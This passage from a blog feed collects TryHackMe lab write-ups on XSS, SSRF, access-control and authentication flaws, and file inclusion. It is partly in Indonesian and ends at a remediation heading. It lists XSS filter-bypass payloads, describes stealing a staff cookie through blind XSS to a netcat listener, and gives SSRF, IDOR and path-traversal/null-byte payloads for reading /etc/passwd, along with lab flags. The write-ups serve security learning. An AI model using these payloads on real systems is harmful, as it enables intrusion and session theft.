Level 3: &amp;#x3C;/textarea&gt;&amp;#x3C;script&gt;alert(&apos;THM&apos;);&amp;#x3C;/script&gt;
Level 4: &apos;;alert(&apos;THM&apos;);//
Level 5: &amp;#x3C;sscriptcript&gt;alert(&apos;THM&apos;);&amp;#x3C;/sscriptcript&gt;
Level 6: /images/cat.jpg&quot; onload=&quot;alert(&apos;THM&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image.DtHVgekJ_Z1lbqq.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{XSS_MASTER}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 8: Practical Example (Blind XSS)&lt;/h2&gt;
&lt;p&gt;In this practical scenario, you exploit a Blind XSS vulnerability within a support ticketing system. By escaping a &lt;code&gt;&amp;#x3C;textarea&gt;&lt;/code&gt; tag, you inject a JavaScript payload designed to steal a staff member&apos;s session cookie. The payload uses &lt;code&gt;document.cookie&lt;/code&gt;, encodes it in base64 using &lt;code&gt;btoa()&lt;/code&gt;, and exfiltrates it via an HTTP &lt;code&gt;fetch()&lt;/code&gt; request to an attacker-controlled Netcat listener.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the value of the staff-session cookie?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.Dp6Kdk3u_1PntDb.webp&quot; alt=&quot;Acme IT Support&quot;&gt;&lt;/p&gt;
&lt;p&gt;In this instance, on the Acme IT Support page via the provided link, we simply go to the customers tab and sign up for a new account; for example, I used a &quot;test&quot; account.&lt;/p&gt;
&lt;p&gt;Then, we run a listener on port 9001 on the attack box: &lt;code&gt;nc -nlvp 9001&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-2.Cq5alwf7_Z2toWTf.webp&quot; alt=&quot;Terminal&quot;&gt;&lt;/p&gt;
&lt;p&gt;After that, we create a ticket with a payload to redirect the cookie to the attacker&apos;s IP.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-3.CLJDUx1T_ZJtTKi.webp&quot; alt=&quot;create ticket&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-4.BggN3Q1k_y9Lj4.webp&quot; alt=&quot;ticket list&quot;&gt;&lt;/p&gt;
&lt;p&gt;Then, simply click it and check the listener output.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-5.CzF9_4QD_Zs8dQz.webp&quot; alt=&quot;attacker listener&quot;&gt;&lt;/p&gt;
&lt;p&gt;Once we receive the encoded string, we attempt to decode it from Base64. We can use CyberChef with the &quot;From Base64&quot; tool as shown below.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-6.B5GKp-EJ_Z2hV3ov.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;And we obtain the staff-session:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;4AB305E55955197693F01D6F8FD2D321&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Thanks for reading. See you in the next lab.&lt;/p&gt;</content:encoded><h:img src="/_astro/1.CDCk2Zu8.webp"/><enclosure url="/_astro/1.CDCk2Zu8.webp"/></item><item><title>Intro to SSRF | TryHackMe Write-up</title><link>https://farros.co/blog/intro-to-ssrf-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/intro-to-ssrf-tryhackme-write-up/</guid><description>Complete walkthrough for Intro to SSRF TryHackme room. Learn how to exploit SSRF vulnerabilities, allowing you to access internal server resources.</description><pubDate>Mon, 16 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This is my write-up for the TryHackMe room on &lt;a href=&quot;https://tryhackme.com/room/ssrfqi&quot;&gt;Intro to SSRF&lt;/a&gt;. Written in 2026, I hope this write-up helps others learn and practice cybersecurity.
Here is the extracted and summarized content formatted in English according to your rules:&lt;/p&gt;
&lt;h2&gt;Task 1: What is an SSRF?&lt;/h2&gt;
&lt;p&gt;Server-Side Request Forgery (SSRF) is a vulnerability that allows a malicious user to manipulate a web server into making an additional or edited HTTP request to a resource of their choosing. There are two main types: Regular SSRF (where data is returned to the attacker&apos;s screen) and Blind SSRF (where the request occurs, but no information is returned). A successful SSRF attack can lead to unauthorized access to restricted areas, exposure of sensitive customer or organizational data, the ability to pivot into internal networks, and the revelation of authentication tokens or credentials.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What does SSRF stand for?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Server-Side Request Forgery&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;As opposed to a regular SSRF, what is the other type?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Blind&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 2: SSRF Examples&lt;/h2&gt;
&lt;p&gt;This task involves interacting with an external site to view common SSRF examples and learn how to exploit them. It includes a simulation exercise where you can test your newfound knowledge to uncover a hidden flag.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the flag from the SSRF Examples site?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image.CIOj-iLn_Z23ab2N.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;kita bisa lihat bahwa url awal yang di berikan adalah &lt;a href=&quot;https://website.thm/item/2?server=api&quot;&gt;https://website.thm/item/2?server=api&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;parameter penting: server=api&lt;/p&gt;
&lt;p&gt;Kemungkinan besar backend membuat request seperti ini: &lt;a href=&quot;https://api.website.thm/item/2&quot;&gt;https://api.website.thm/item/2&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Karena server langsung dimasukkan ke URL, kita bisa mengontrol request yang dilakukan server.&lt;/p&gt;
&lt;p&gt;kita harus membuat backend request ke: &lt;a href=&quot;https://server.website.thm/flag?id=9&quot;&gt;https://server.website.thm/flag?id=9&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;maka kita menggunakan payload: server=server.website.thm/flag?id=9&amp;#x26;z=&lt;/p&gt;
&lt;p&gt;menjadi &lt;a href=&quot;https://website.thm/item/2?server=server.website.thm/flag?id=9&amp;#x26;z=&quot;&gt;https://website.thm/item/2?server=server.website.thm/flag?id=9&amp;#x26;z=&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;di mana &amp;#x26;z= digunakan untuk:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Menghindari error parsing URL&lt;/li&gt;
&lt;li&gt;Menangkap tambahan path /item/2&lt;/li&gt;
&lt;li&gt;Membuat query tetap valid&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.DWJS-9uU_Zzvwk4.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{SSRF_MASTER}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 3: Finding an SSRF&lt;/h2&gt;
&lt;p&gt;SSRF vulnerabilities can be spotted in web applications in several common places: full URLs used in address bar parameters, hidden fields in forms, partial URLs (like hostnames), or specific URL paths. Discovering a working payload often requires trial and error. When dealing with Blind SSRFs, since no output is reflected, you must use external HTTP logging tools (like RequestBin, your own HTTP server, or Burp Suite&apos;s Collaborator) to monitor and catch the out-of-band requests.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Based on simple observation, which of the following URLs is more likely to be vulnerable to SSRF?&lt;/strong&gt;
**1. &lt;code&gt;https://website.thm/index.php**&lt;/code&gt;
**2. &lt;code&gt;https://website.thm/list-products.php?categoryId=5325**&lt;/code&gt;
**3. &lt;code&gt;https://website.thm/fetch-file.php?fname=242533.pdf&amp;#x26;srv=filestorage.cloud.thm&amp;#x26;port=8001**&lt;/code&gt;
**4. &lt;code&gt;https://website.thm/buy-item.php?itemId=213&amp;#x26;price=100&amp;#x26;q=2**&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;3&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 4: Defeating Common SSRF Defenses&lt;/h2&gt;
&lt;p&gt;Developers often implement defenses against SSRF, primarily using Deny Lists or Allow Lists.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Deny Lists&lt;/strong&gt; block specific sensitive locations (like &lt;code&gt;localhost&lt;/code&gt; or &lt;code&gt;127.0.0.1&lt;/code&gt;). Attackers can bypass these using alternative IP representations (e.g., &lt;code&gt;0.0.0.0&lt;/code&gt;, &lt;code&gt;127.1&lt;/code&gt;) or custom DNS records. In cloud environments, the IP &lt;code&gt;169.254.169.254&lt;/code&gt; is often targeted for sensitive metadata.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Allow Lists&lt;/strong&gt; strictly permit only approved inputs (e.g., URLs starting with a specific domain). Attackers can bypass this by creating a subdomain on their own server that matches the allowed string.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Open Redirects&lt;/strong&gt; can be used as a last resort if other bypasses fail. An attacker can use a legitimate open redirect endpoint on the target server to forward the internal HTTP request to a domain of their choosing.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;What method can be used to bypass strict rules?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Open Redirect&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;What IP address may contain sensitive data in a cloud environment?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;169.254.169.254&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;What type of list is used to permit only certain input?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Allow List&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;What type of list is used to stop certain input?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Deny List&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 5: SSRF Practical&lt;/h2&gt;
&lt;p&gt;This practical scenario targets the Acme IT Support website. During content discovery, a restricted &lt;code&gt;/private&lt;/code&gt; endpoint and a new &lt;code&gt;/customers/new-account-page&lt;/code&gt; with an avatar selection feature are found. By inspecting the avatar form, you can see it uses a file path to load the image. Directly changing the form value to &lt;code&gt;private&lt;/code&gt; is blocked by a deny list. However, you can bypass this defense using a directory traversal trick (&lt;code&gt;x/../private&lt;/code&gt;). Once successfully bypassed, the web application updates the avatar with the base64 encoded contents of the restricted &lt;code&gt;/private&lt;/code&gt; directory, which can be decoded to reveal the final flag.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the flag from the /private directory?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-2.BixXurZ9_1wHTUH.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;pertama kita coba bikin akun dulu&lt;/p&gt;
&lt;p&gt;lalu arahkan ke link untuk membuat avatar&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://IP_MACHINE.reverse-proxy.cell-prod-ap-south-1b.vm.tryhackme.com/customers/new-account-page&quot;&gt;https://IP_MACHINE.reverse-proxy.cell-prod-ap-south-1b.vm.tryhackme.com/customers/new-account-page&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-3.BLjKje9d_Z2dXFTn.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;lalu di halaman update avatar kita gunakan inspect unutk merubah value misal menjadi &quot;x/../private&quot;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-4.BqWyrNZ-_ZXXiYJ.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;setelah berhasil maka kita lakukan juga inspect di bagian current avatar&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-5.C5nk1CJp_Z1bLQvt.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;di sini kita meneukan kode base64&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-6.CTQuQXLV_2dRI21.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;bisa gunakan cyberchef: &lt;a href=&quot;https://gchq.github.io/CyberChef/&quot;&gt;https://gchq.github.io/CyberChef/&lt;/a&gt; dan gunakan base64 dan kita mendapat flagnya&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{YOU_WORKED_OUT_THE_SSRF}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Thanks for reading. See you in the next lab.&lt;/p&gt;</content:encoded><h:img src="/_astro/1.oq2jIVmi.webp"/><enclosure url="/_astro/1.oq2jIVmi.webp"/></item><item><title>OWASP Top 10 2025: IAAA Failures | TryHackMe Write-up</title><link>https://farros.co/blog/owasp-top-10-2025-iaaa-failures-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/owasp-top-10-2025-iaaa-failures-tryhackme-write-up/</guid><description>Walkthrough for OWASP Top 10 2025: IAAA Failures TryHackme room. Learn about A01, A07, and A09 in how they related to failures in the applied IAAA model</description><pubDate>Mon, 16 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This is my write-up for the TryHackMe room on &lt;a href=&quot;https://tryhackme.com/room/owasptopten2025one&quot;&gt;OWASP Top 10 2025: IAAA Failures&lt;/a&gt;. Written in 2026, I hope this write-up helps others learn and practice cybersecurity.&lt;/p&gt;
&lt;h2&gt;Task 1: Introduction&lt;/h2&gt;
&lt;p&gt;In this room, we are introduced to three specific categories from the OWASP Top 10 2025 that deal with failures in the IAAA framework (Identity, Authentication, Authorisation, and Accountability). Designed for beginners, this room covers practical exercises focusing on A01: Broken Access Control, A07: Authentication Failures, and A09: Logging &amp;#x26; Alerting Failures.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;I am ready to learn about IAAA failures!&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 2: What is IAAA?&lt;/h2&gt;
&lt;p&gt;IAAA is a sequential framework used to verify users and their actions within an application. You cannot skip any step in this flow. It consists of &lt;strong&gt;Identity&lt;/strong&gt; (who the user claims to be), &lt;strong&gt;Authentication&lt;/strong&gt; (proving that identity), &lt;strong&gt;Authorisation&lt;/strong&gt; (determining what they are allowed to do), and &lt;strong&gt;Accountability&lt;/strong&gt; (logging their actions for tracking). Weaknesses in any of these areas can lead to severe security breaches.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What does IAAA stand for?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Identity, Authentication, Authorisation, Accountability&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 3: A01: Broken Access Control&lt;/h2&gt;
&lt;p&gt;Broken Access Control happens when an application fails to properly verify server-side permissions on user requests. A prime example is IDOR (Insecure Direct Object Reference), where an attacker can simply change an ID parameter in a URL (like &lt;code&gt;?id=1&lt;/code&gt; to &lt;code&gt;?id=2&lt;/code&gt;) to view another user&apos;s data (horizontal privilege escalation) or access admin-level functions (vertical privilege escalation).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;If you don&apos;t get access to more roles but can view the data of another users, what type of privilege escalation is this?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Horizontal&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;What is the note you found when viewing the user&apos;s account who had more than $ 1 million?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;You can just keep trying different IDs until you find the one containing the flag, which is &lt;a href=&quot;https://bank.thm/accounts?id=7&quot;&gt;https://bank.thm/accounts?id=7&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image.BrJemXAk_Z2lzBPW.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{Found.the.Millionare!}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 4: A07: Authentication Failures&lt;/h2&gt;
&lt;p&gt;Authentication failures occur when an application&apos;s login or registration mechanics are flawed, allowing attackers to hijack identities. Common vulnerabilities include username enumeration, weak password policies without rate limiting, and broken logic flows. For example, poor implementation might allow an attacker to bypass security simply by registering an account with a case variation, like &quot;aDmiN&quot; instead of &quot;admin&quot;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the flag on the admin user&apos;s dashboard?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.TyNn-FxY_Z1XLPgd.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Simply register with a different account name variation, for example, aDmin&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-2.C0VveMrH_Z1h8fQr.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;and we will gain access to the admin account.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{Account.confusion.FTW!}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 5: A09: Logging &amp;#x26; Alerting Failures&lt;/h2&gt;
&lt;p&gt;Without proper logging and alerting, an application lacks accountability, leaving security teams completely blind to active attacks. Failures in this category include missing authentication logs, vague error messages, or failing to monitor for brute-force attempts and suspicious privilege escalations. Good logging requires centralized, untamperable records of all critical lifecycle events.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;It looks like an attacker tried to perform a brute-force attack, what is the IP of the attacker?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-3.DlTFhiNu_1GUXW8.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Here we can see the various login attempts.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;203.0.113.45&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Looks like they were able to gain access to an account! What is the username associated with that account?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;admin&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;What action did the attacker try to do with the account? List the endpoint the accessed.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-4.DtSIOa_p_Z1WHzQV.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;This is the path that the attacker appears to be trying to breach.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;/supersecretadminstuff&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 6: Conclusion&lt;/h2&gt;
&lt;p&gt;Wrapping up, we&apos;ve learned how critical the IAAA framework is to application security. To prevent these OWASP Top 10 vulnerabilities, developers must enforce strict server-side access checks on every request, secure authentication flows against brute-forcing and account confusion, and ensure robust, off-host logging to detect and investigate anomalies.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;I understand the importance of a secure IAAA implementation in my application!&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Thanks for reading. See you in the next lab.&lt;/p&gt;</content:encoded><h:img src="/_astro/1.C6i9fM0F.webp"/><enclosure url="/_astro/1.C6i9fM0F.webp"/></item><item><title>File Inclusion | TryHackMe Write-up</title><link>https://farros.co/blog/file-inclusion-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/file-inclusion-tryhackme-write-up/</guid><description>Complete walkthrough for the File Inclusion TryHackMe room. This room introduces file inclusion vulnerabilities, including LFI, RFI, and directory traversal.</description><pubDate>Fri, 13 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This is my write-up for the TryHackMe room on &lt;a href=&quot;https://tryhackme.com/room/fileinc&quot;&gt;File Inclusion&lt;/a&gt;. Written in 2026, I hope this write-up helps others learn and practice cybersecurity.]&lt;/p&gt;
&lt;h2&gt;Task 1: Introduction&lt;/h2&gt;
&lt;p&gt;This section introduces File Inclusion vulnerabilities, specifically Local File Inclusion (LFI), Remote File Inclusion (RFI), and Directory Traversal. These vulnerabilities typically occur in web applications (often written in PHP) due to poor input validation, allowing users to manipulate URL parameters. If exploited, attackers can leak sensitive data or achieve Remote Command Execution (RCE).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Let&apos;s continue to the next section to deploy the attached VM.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 2: Deploy the VM&lt;/h2&gt;
&lt;p&gt;Instructions are provided to deploy the target virtual machine. You need to connect to the TryHackMe network via OpenVPN or use the in-browser AttackBox to access the machine&apos;s IP address and view the vulnerable web application.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Once you&apos;ve deployed the VM, please wait a few minutes for the webserver to start, then progress to the next section!&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 3: Path Traversal&lt;/h2&gt;
&lt;p&gt;Path Traversal (or Directory Traversal) allows an attacker to access files or directories outside the web application&apos;s root folder. By manipulating URL parameters with &quot;dot-dot-slash&quot; (&lt;code&gt;../&lt;/code&gt;) payloads, attackers can navigate up the directory tree to read sensitive OS files like &lt;code&gt;/etc/passwd&lt;/code&gt; on Linux or &lt;code&gt;c:\boot.ini&lt;/code&gt; on Windows. This usually happens when user input is passed unsanitized into functions like &lt;code&gt;file_get_contents&lt;/code&gt; in PHP.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What function causes path traversal vulnerabilities in PHP?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;file_get_contents&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 4: Local File Inclusion - LFI&lt;/h2&gt;
&lt;p&gt;LFI occurs when a web application includes local files using unsanitized user input, commonly through PHP functions like &lt;code&gt;include&lt;/code&gt;, &lt;code&gt;require&lt;/code&gt;, &lt;code&gt;include_once&lt;/code&gt;, and &lt;code&gt;require_once&lt;/code&gt;. Even if a developer specifies a directory prefix in the code (e.g., &lt;code&gt;include(&quot;languages/&quot; . $_GET[&apos;lang&apos;]);&lt;/code&gt;), an attacker can still bypass it by using path traversal payloads (like &lt;code&gt;../../../../etc/passwd&lt;/code&gt;) to break out of the intended folder and read system files.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Give Lab #1 a try to read /etc/passwd. What would the request URI be?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;First, let&apos;s open the website.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image.BFspe8GG_yPi7o.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Then, click on Lab #1 first. In the question, we are given this hint:&lt;/p&gt;
&lt;p&gt;example: /index.php?lang=EN.php&lt;/p&gt;
&lt;p&gt;So we try to input &lt;code&gt;/etc/passwd&lt;/code&gt; and then extract it from the URL. The URL appears like this: &lt;code&gt;http://IP_MACHINE/lab1.php?file=etc%2Fpasswd&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.BpZGM3Ns_1LO2ff.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;/index.php?lang=/etc/passwd&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;In Lab #2, what is the directory specified in the include function?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-2.Y3a0BbRH_gx02L.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;In this second lab, we try to perform a random input, for example &quot;test&quot;, and the path that appears is &quot;includes&quot;.&lt;/p&gt;
&lt;h2&gt;Task 5: Local File Inclusion - LFI Continued&lt;/h2&gt;
&lt;p&gt;This task covers advanced techniques to bypass LFI filters when performing black-box testing:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Null Byte Injection (&lt;code&gt;%00&lt;/code&gt;)&lt;/strong&gt;: Tricks the application into ignoring appended file extensions (like &lt;code&gt;.php&lt;/code&gt;). Note: This only works on PHP versions below 5.3.4.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Current Directory Trick (&lt;code&gt;/.&lt;/code&gt;)&lt;/strong&gt;: Used to bypass keyword filters. Adding &lt;code&gt;/.&lt;/code&gt; at the end resolves to the exact same file path without triggering simple string filters.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Double Traversal (&lt;code&gt;....//&lt;/code&gt;)&lt;/strong&gt;: Bypasses basic replacement filters that strip &lt;code&gt;../&lt;/code&gt; strings. When the application removes the first &lt;code&gt;../&lt;/code&gt;, the remaining characters form a valid &lt;code&gt;../&lt;/code&gt; payload.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Forced Prefix Bypassing&lt;/strong&gt;: If the app forces the input to start with a specific directory name, you simply include it at the start of your payload (e.g., &lt;code&gt;languages/../../../../../etc/passwd&lt;/code&gt;).&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Give Lab #3 a try to read /etc/passwd. What is the request look like?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Okay, here&apos;s a tip: Don&apos;t trust the input form. Insert directly into the browser&apos;s address bar!&lt;/p&gt;
&lt;p&gt;We want to read the sensitive file: &lt;code&gt;/etc/passwd&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;So we use directory traversal to break out of the &quot;languages&quot; folder: &lt;code&gt;../../../../etc/passwd&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;The problem is that the application appends &lt;code&gt;.php&lt;/code&gt; at the end, so it attempts to read: &lt;code&gt;/etc/passwd.php&lt;/code&gt;, which does not exist.&lt;/p&gt;
&lt;p&gt;The solution is to use a Null Byte (&lt;code&gt;%00&lt;/code&gt;) so that the &lt;code&gt;.php&lt;/code&gt; extension is ignored: &lt;code&gt;../../../../etc/passwd%00&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;/index.php?lang=../../../../etc/passwd%00&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Which function is causing the directory traversal in Lab #4?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-3.Bz0zB-tw_Zxba2W.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;When trying a test input, a warning appears showing the function:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;file_get_contents&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Try out Lab #6 and check what is the directory that has to be in the input field?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-4.mjH85g1G_1OWafI.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;When trying to enter the text &quot;test&quot;, the only allowed folder is &quot;THM-profile&quot;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM-profile&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Try out Lab #6 and read /etc/os-release. What is the VERSION_ID value?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Since we are in Lab #6, where we must use the &quot;THM-profile&quot; path at the beginning, we use: &lt;code&gt;THM-profile/../../../../etc/os-release&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-5.DHUrx9wM_1nIoEc.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Task 6: Remote File Inclusion - RFI&lt;/h2&gt;
&lt;p&gt;RFI allows an attacker to include and execute a remotely hosted file into the vulnerable application. It usually requires the &lt;code&gt;allow_url_fopen&lt;/code&gt; setting to be enabled in PHP. Because attackers can host malicious PHP code (like a reverse shell) on their own server and inject its URL into the vulnerable parameter, RFI poses a much higher risk than LFI, reliably leading to Remote Command Execution (RCE), Cross-Site Scripting (XSS), or Denial of Service (DoS).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;We showed how to include PHP pages via RFI. Do research on how to get remote command execution (RCE), and answer the question in the challenge section.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 7: Remediation&lt;/h2&gt;
